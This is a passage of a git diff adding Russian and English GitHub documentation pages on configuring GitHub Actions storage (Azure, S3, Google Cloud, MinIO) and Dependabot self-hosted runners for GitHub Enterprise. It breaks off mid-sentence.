staging environment with {% data variables.product.prodname_actions %} + +A common way to create the staging environment is to restore a backup of your production {% data variables.product.product_name %} instance to a new virtual machine in the staging environment. If you use a staging instance and plan to test {% data variables.product.prodname_actions %} functionality, you should review your storage configuration in the staging environment. + +After you restore a {% data variables.product.prodname_ghe_server %} backup to the staging instance, if you try to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs on your staging instance, you will see `404` errors, because this data will be missing from your staging storage location. To work around the `404` errors, you can copy data from production to use in your staging environment. + +### Configuring storage + +When you set up a staging environment that includes a {% data variables.product.product_name %} instance with {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment. + +{% warning %} + +**Warning**: If you don't change the storage configuration, your staging instance may be able to write to the same external storage that you use for production, which could result in loss of data. + +{% endwarning %} + +For more information about storage configuration for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)." + +### Copying files from production to staging + +To more accurately mirror your production environment, you can optionally copy files from your production storage location for {% data variables.product.prodname_actions %} to the staging storage location. + +* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example: + + ```shell + azcopy copy 'https://SOURCE-STORAGE-ACCOUNT-NAME.blob.core.windows.net/SAS-TOKEN' 'https://DESTINATION-STORAGE-ACCOUNT-NAME.blob.core.windows.net/' --recursive + ``` +* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example: + + ```shell + aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET + ``` diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md new file mode 100644 index 000000000000..2e24577a377a --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md @@ -0,0 +1,52 @@ +--- +title: "Включение GitHub Actions с хранилищем Amazon\_S3" +intro: "Можно включить {% data variables.product.prodname_actions %} на {% data variables.product.prodname_ghe_server %} и использовать хранилище Amazon\_S3 для хранения данных, созданных при выполнении рабочего процесса." +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise + - Infrastructure + - Storage +redirect_from: + - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage +shortTitle: Amazon S3 storage +ms.openlocfilehash: 23fd8eabe502a6a29610de451cae72542ceca53f +ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132651' +--- +## Предварительные требования + +{% note %} + +**Примечание:** Единственными поставщиками хранилища S3, поддерживаемыми {% data variables.product.prodname_dotcom %}, являются Amazon S3 и Шлюз MinIO для NAS. + +{% data reusables.actions.enterprise-s3-tech-partners %} + +{% endnote %} + +Перед включением {% data variables.product.prodname_actions %} выполните следующие действия: + +* Создайте контейнер Amazon S3 для хранения данных, создаваемых при выполнении рабочих процессов. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + +{% data reusables.actions.enterprise-common-prereqs %} + +## Включение {% data variables.product.prodname_actions %} с хранилищем Amazon S3 + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. В разделе "Артефакт и журнал хранилища" выберите **Amazon S3** и введите сведения о контейнере хранилища: + + * **URL-адрес службы AWS**. URL-адрес службы для контейнера. Например, если контейнер S3 был создан в регионе `us-west-2`, это значение должно быть `https://s3.us-west-2.amazonaws.com`. + + Дополнительные сведения см. в разделе [Конечные точки службы AWS](https://docs.aws.amazon.com/general/latest/gr/rande.html) в документации по AWS. + * **Контейнер AWS S3**. Имя контейнера S3. + * **Ключ доступа AWS S3** и **секретный ключ AWS S3**. Идентификатор ключа доступа AWS и секретный ключ для контейнера. Дополнительные сведения об управлении ключами доступа AWS см. в [документации по управлению удостоверениями и доступом AWS](https://docs.aws.amazon.com/iam/index.html). + + ![Переключатель для выбора хранилища Amazon S3 и полей для конфигурации](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) S3 {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md new file mode 100644 index 000000000000..3cb15ff7f377 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md @@ -0,0 +1,47 @@ +--- +title: Включение GitHub Actions с использованием хранилища BLOB-объектов Azure +intro: 'Можно включить {% data variables.product.prodname_actions %} на {% data variables.product.prodname_ghe_server %} и использовать хранилище BLOB-объектов Azure для хранения данных, созданных при выполнении рабочего процесса.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise + - Infrastructure + - Storage +redirect_from: + - /admin/github-actions/enabling-github-actions-with-azure-blob-storage +shortTitle: Azure Blob storage +ms.openlocfilehash: b6abccdfea0d33b387fc3ec6df563fcbaf57f861 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109543' +--- +## Предварительные требования + +Перед включением {% data variables.product.prodname_actions %} выполните следующие действия: + +* Создайте учетную запись хранения в Azure для хранения данных рабочего процесса. {% data variables.product.prodname_actions %} хранит данные в виде блочных BLOB-объектов. Поддерживаются два типа учетных записей хранения: + * Учетная запись хранения **общего назначения** (также известная как `general-purpose v1` или `general-purpose v2`) с использованием **стандартного** уровня производительности. + + {% warning %} + + **Предупреждение.** Использование уровня производительности **премиум** вместе с учетной записью с хранилищем общего назначения не поддерживается. **Стандартный** уровень производительности должен быть выбран при создании учетной записи хранения, и его нельзя изменить позже. + + {% endwarning %} + * Учетная запись хранения **BlockBlobStorage**, которая использует уровень производительности **премиум**. + + Дополнительные сведения о типах учетных записей хранения в Azure и уровнях производительности см. в [документации по Azure](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts). +{% data reusables.actions.enterprise-common-prereqs %} + +## Включение {% data variables.product.prodname_actions %} с хранилищем BLOB-объектов Azure + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. В разделе "Артефакты и хранилище журналов" выберите **Хранилище BLOB-объектов Azure** и введите строку подключения для учетной записи хранения Azure. Дополнительные сведения о получении строки подключения для учетной записи хранения см. в [документации по Azure](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys). + + ![Переключатель для выбора Хранилище BLOB-объектов Azure и поля](/assets/images/enterprise/management-console/actions-azure-storage.png) строки подключения {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md new file mode 100644 index 000000000000..6b477c38aace --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md @@ -0,0 +1,57 @@ +--- +title: Включение GitHub Actions с помощью Google Cloud Storage +intro: 'Вы можете включить {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_server %} и использовать Google Cloud Storage для хранения данных, созданных при выполнении рабочих процессов.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + feature: actions-ghes-gcp-storage +type: how_to +topics: + - Actions + - Enterprise + - Infrastructure + - Storage +shortTitle: Google Cloud Storage +ms.openlocfilehash: abbac860ed3f6f1caaec1152b426762535b8fba4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110098' +--- +{% note %} + +**Примечание.** Поддержка {% data variables.product.prodname_actions %} для Google Cloud Storage в настоящее время находится в бета-версии и может быть изменена. + +{% endnote %} + +## Предварительные требования + +Перед включением {% data variables.product.prodname_actions %} выполните следующие действия: + +* Создайте контейнер Google Cloud Storage для хранения данных, созданных при выполнении рабочих процессов. +* Создайте учетную запись службы Google Cloud, которая может получить доступ к контейнеру, и создайте ключ кода проверки подлинности сообщений на основе хэша (HMAC) для учетной записи службы. Дополнительные сведения см. в разделе [Управление ключами HMAC для учетных записей служб](https://cloud.google.com/storage/docs/authentication/managing-hmackeys) в документации по Google Cloud. + + Учетная запись службы должна иметь следующие [разрешения на управление удостоверениями и доступом (IAM)](https://cloud.google.com/storage/docs/access-control/iam-permissions) для контейнера: + + * `storage.objects.create` + * `storage.objects.get` + * `storage.objects.list` + * `storage.objects.update` + * `storage.objects.delete` + * `storage.multipartUploads.create` + * `storage.multipartUploads.abort` + * `storage.multipartUploads.listParts` + * `storage.multipartUploads.list` {% data reusables.actions.enterprise-common-prereqs %} + +## Включение {% data variables.product.prodname_actions %} с помощью Google Cloud Storage + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. В разделе "Хранилище журналов артефактов &" выберите **Google Cloud Storage** и введите сведения о контейнере: + + * **URL-адрес службы**: URL-адрес службы для контейнера. Обычно `https://storage.googleapis.com`это . + * **Имя контейнера**. Имя контейнера. + * **Идентификатор доступа HMAC** и **секрет HMAC**. Идентификатор и секрет google Cloud для вашей учетной записи хранения. Дополнительные сведения см. в разделе [Управление ключами HMAC для учетных записей служб](https://cloud.google.com/storage/docs/authentication/managing-hmackeys) в документации по Google Cloud. + + ![Переключатель для выбора Google Cloud Storage и полей для конфигурации](/assets/images/enterprise/management-console/actions-google-cloud-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md new file mode 100644 index 000000000000..b41370528fd9 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage.md @@ -0,0 +1,48 @@ +--- +title: Включение GitHub Actions с хранилищем MinIO +intro: 'Вы можете включить {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_server %} и использовать хранилище MinIO для хранения данных, созданных при выполнении рабочих процессов.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise + - Infrastructure + - Storage +redirect_from: + - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage +shortTitle: MinIO storage +ms.openlocfilehash: 3d9c6cfca6b81a66185515c8757cef22290ead30 +ms.sourcegitcommit: 8f1801040a84ca9353899a2d1e6782c702aaed0d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148166572' +--- +## Предварительные требования + +Перед включением {% data variables.product.prodname_actions %} выполните следующие действия: + +* Создайте контейнер MinIO для хранения данных, созданных при выполнении рабочих процессов. Дополнительные сведения об установке и настройке MinIO см. в разделе [Хранилище высокопроизводительных объектов MinIO](https://min.io/docs/minio/container/index.html) и [mc mb](https://min.io/docs/minio/linux/reference/minio-mc/mc-mb.html) документации По MinIO. + + Чтобы избежать конфликтов за ресурсы на устройстве, рекомендуется размещать MinIO отдельно от {% data variables.location.product_location %}. + + {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} {% data reusables.actions.enterprise-common-prereqs %} + +## Включение {% data variables.product.prodname_actions %} с хранилищем MinIO + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. В разделе "Артефакт и журнал хранилища" выберите **Amazon S3** и введите сведения о контейнере хранилища: + + * **URL-адрес службы AWS**: URL-адрес службы MinIO. Например, `https://my-minio.example:9000`. + * **Контейнер AWS S3**: имя контейнера S3. + * **Ключ доступа AWS S3** и **Секретный ключ AWS S3**: `MINIO_ACCESS_KEY` и `MINIO_SECRET_KEY` для экземпляра MinIO. + + ![Переключатель для выбора хранилища Amazon S3 и поля для конфигурации MinIO](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. В разделе "Артефакт и журнал хранилища" выберите **Задать стиль пути**. + + ![Флажок для принудительного стиля](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) пути {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md new file mode 100644 index 000000000000..8bc25e17a525 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md @@ -0,0 +1,22 @@ +--- +title: Включение GitHub Actions для сервера GitHub Enterprise +intro: 'Сведения о настройке хранилища и включении {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_server %}.' +versions: + ghes: '*' +topics: + - Enterprise +children: + - /enabling-github-actions-with-azure-blob-storage + - /enabling-github-actions-with-amazon-s3-storage + - /enabling-github-actions-with-google-cloud-storage + - /enabling-github-actions-with-minio-storage + - /managing-self-hosted-runners-for-dependabot-updates +shortTitle: Enable GitHub Actions +ms.openlocfilehash: 56512f06952512bec06068273f8df381a7ba4706 +ms.sourcegitcommit: 8f1801040a84ca9353899a2d1e6782c702aaed0d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148166548' +--- + diff --git a/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md new file mode 100644 index 000000000000..dec9d740570a --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md @@ -0,0 +1,82 @@ +--- +title: Managing self-hosted runners for Dependabot updates on your enterprise +intro: 'You can create dedicated runners for {% data variables.location.product_location %} that {% data variables.product.prodname_dependabot %} uses to create pull requests to help secure and maintain the dependencies used in repositories on your enterprise.' +redirect_from: + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + ghes: '> 3.2' +topics: + - Enterprise + - Security + - Dependabot + - Dependencies +shortTitle: Dependabot updates +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} + +## About self-hosted runners for {% data variables.product.prodname_dependabot_updates %} + +You can help users of {% data variables.location.product_location %} to create and maintain secure code by setting up {% data variables.product.prodname_dependabot %} security and version updates. With {% data variables.product.prodname_dependabot_updates %}, developers can configure repositories so that their dependencies are updated and kept secure automatically. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." + +To use {% data variables.product.prodname_dependabot_updates %} on {% data variables.location.product_location %}, you must configure self-hosted runners to create the pull requests that will update dependencies. + +## Prerequisites + +{% ifversion dependabot-updates-github-connect %} +Configuring self-hosted runners is only one step in the middle of the process for enabling {% data variables.product.prodname_dependabot_updates %}. There are several steps you must follow before these steps, including configuring {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% else %} +Before you configure self-hosted runners for {% data variables.product.prodname_dependabot_updates %}, you must: + +- Configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." +- Enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% endif %} + +## Configuring self-hosted runners for {% data variables.product.prodname_dependabot_updates %} + +After you configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}, you need to add self-hosted runners for {% data variables.product.prodname_dependabot_updates %}. + +### System requirements for {% data variables.product.prodname_dependabot %} runners + +Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements. + +- Linux operating system{% ifversion ghes < 3.5 %} +- Git installed{% endif %} +- Docker installed with access for the runner users: + - We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges. + - Alternatively, install Docker and give the runner users raised privileges to run Docker. + +The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others. + +If you specify more than 14 concurrent runners on a VM, you must also update the Docker `/etc/docker/daemon.json` configuration to increase the default number of networks Docker can create. + +``` +{ + "default-address-pools": [ + {"base":"10.10.0.0/16","size":24} + ] +} +``` + +### Network requirements for {% data variables.product.prodname_dependabot %} runners + +{% data variables.product.prodname_dependabot %} runners require access to the public internet, {% data variables.product.prodname_dotcom_the_website %}, and any internal registries that will be used in {% data variables.product.prodname_dependabot %} updates. To minimize the risk to your internal network, you should limit access from the Virtual Machine (VM) to your internal network. This reduces the potential for damage to internal systems if a runner were to download a hijacked dependency. + +### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates + +1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:{% ifversion ghes < 3.5 %} + + - Verify that Git is installed: `command -v git`{% endif %} + - Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation. + - [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/) + - Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/) + - Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user) + - Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs. + +3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)." + +4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)." diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md new file mode 100644 index 000000000000..b4ef838f74a6 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md @@ -0,0 +1,55 @@ +--- +title: About GitHub Actions for enterprises +shortTitle: About GitHub Actions +intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Actions + - Enterprise +--- + + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions-for-enterprises %} + +| Task | More information | +| ---- | ---------------- | +| Automatically test and build your application | "[About continuous integration](/actions/automating-builds-and-tests/about-continuous-integration)" | +| Deploy your application | "[About continuous deployment](/actions/deployment/about-deployments/about-continuous-deployment)" | +| Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" | +| Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" | + +{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse. + +You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %} + +{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.product_name %} experience. + +{% ifversion ghec %}You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you{% else %}You{% endif %} can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see {% ifversion ghec %}"[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and{% endif %} "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets.{% ifversion ghec or ghes > 3.4 %} If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."{% endif %} + +{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)." + +## About getting started with {% data variables.product.prodname_actions %} + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +{% ifversion ghes %} +{% data reusables.actions.ghes-actions-not-enabled-by-default %} After you finish planning, you can follow the instructions for enabling {% data variables.product.prodname_actions %}. For example, you may need to upgrade the CPU and memory resources for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)." + +{% else %} +After you finish planning, you can follow the instructions for getting started with {% data variables.product.prodname_actions %}. For more information, see {% ifversion ghec %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_cloud %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud)."{% elsif ghae %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae)."{% endif %} +{% endif %} + +## Further reading + +- "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)"{% ifversion ghec %} +- "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)"{% endif %} diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md new file mode 100644 index 000000000000..99b248562cca --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md @@ -0,0 +1,38 @@ +--- +title: Начало работы с GitHub Actions для GitHub AE +shortTitle: Get started +intro: 'Сведения о настройке {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_managed %}.' +permissions: 'Enterprise owners can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +redirect_from: + - /admin/github-actions/getting-started-with-github-actions-for-github-ae + - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae +ms.openlocfilehash: c6d6767e95e6f5d27c311e46f5042c79717ab97e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116704' +--- +## Сведения о {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_managed %} + +{% data variables.product.prodname_actions %} включено для {% data variables.product.product_name %} по умолчанию. Чтобы приступить к использованию {% data variables.product.prodname_actions %} в рамках предприятия, необходимы управление разрешениями на доступ для {% data variables.product.prodname_actions %} и добавление средства выполнения для выполнения рабочих процессов. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Управление правами доступа для {% data variables.product.prodname_actions %} в вашей организации + +Для управления доступом к {% data variables.product.prodname_actions %} вы можете использовать политики. Дополнительные сведения см. в разделе [Применение политик GitHub Actions для вашего предприятия](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise). + +## Добавление средств выполнения + +Необходимо настроить и разместить собственные компьютеры для выполнения заданий для предприятия на {% data variables.product.product_name %}. {% data reusables.actions.about-self-hosted-runners %} Дополнительные сведения см. в разделах [Начало работы с локальными средствами выполнения для предприятия](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise) и [Размещение собственных средств выполнения](/actions/hosting-your-own-runners). + +{% data reusables.actions.general-security-hardening %} diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md new file mode 100644 index 000000000000..8b00b72aa949 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md @@ -0,0 +1,39 @@ +--- +title: Начало работы с GitHub Actions в облаке GitHub Enterprise +shortTitle: Get started +intro: 'Сведения о настройке {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_cloud %}.' +permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +ms.openlocfilehash: 088fc1fcce3b44c6db350f744ad13668d04a4bb8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120440' +--- +## Сведения о {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_actions %} включены для вашего предприятия по умолчанию. Чтобы начать использовать {% data variables.product.prodname_actions %} в вашем предприятии, вы можете настроить политики, управляющие использованием {% data variables.product.prodname_actions %} членами предприятия и при необходимости добавить локальные средства выполнения для 